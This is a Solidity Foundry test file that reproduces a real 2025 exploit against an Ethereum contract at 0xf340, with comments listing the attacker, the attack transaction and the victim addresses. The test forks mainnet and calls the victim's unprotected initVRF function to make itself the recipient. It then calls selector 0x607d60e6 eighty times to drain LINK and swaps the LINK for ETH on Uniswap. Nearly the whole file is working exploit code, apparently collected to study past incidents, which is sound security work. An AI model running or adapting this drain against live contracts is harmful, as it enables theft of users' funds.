src/test/2025-08/0xf340_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 4k USD
8// Attacker : https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24
9// Attack Contract : https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36
10// Vulnerable Contract : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436
11// Attack Tx : https://etherscan.io/tx/0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436#code
15 
16// @Analysis
17// Post-mortem : https://t.me/defimon_alerts/1733
18// Twitter Guy : N/A
19// Hacking God : https://t.me/defimon_alerts/1733
20 
21contract Contract0xf340 is BaseTestWithBalanceLog {
22    uint256 blocknumToForkFrom = 23232613 - 1;
23 
24    IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
25    IERC20 link = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
26    Ivictim victim = Ivictim(0xF340bd3eB3E82994CfF5B8C3493245EDbcE63436);
27    IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
28 
29    function setUp() public {
30        vm.createSelectFork("mainnet", blocknumToForkFrom);
31        fundingToken = address(0);
32    }
33 
34    function testExploit() public balanceLog {
35 
36       //The victim contract (0xf340) lacks access control in its initVRF function allowing
37       //an attacker to set an address into storage and calling the function 0x607d60e6 with 
38       //a 0 ether value which transfers LINK to that address set by the attacker.
39       victim.initVRF(address(this), address(link));
40 
41       uint256 slot = 0 ether;
42       for (uint256 i = 0; i < 80; i++) {
43        (bool success, ) = address(victim).call(
44            abi.encodeWithSelector(
45                bytes4(0x607d60e6),
46                slot
47            )
48        );
49        require(success, "call failed");
50       }
51 
52       uint256 attackerLinkBal = link.balanceOf(address(this));
53       link.approve(address(router), attackerLinkBal);
54 
55       address[] memory path = new address[](2);
56       path[0] = address(link);
57       path[1] = address(weth);
58       router.swapExactTokensForETH(attackerLinkBal, 1, path, address(this), block.timestamp + 300);
59 
60 
61    }
62 
63    fallback() external payable {}
64}
65 
66    interface Ivictim {
67        function initVRF(address arg0, address arg1) external;
68 
69 
70    }
71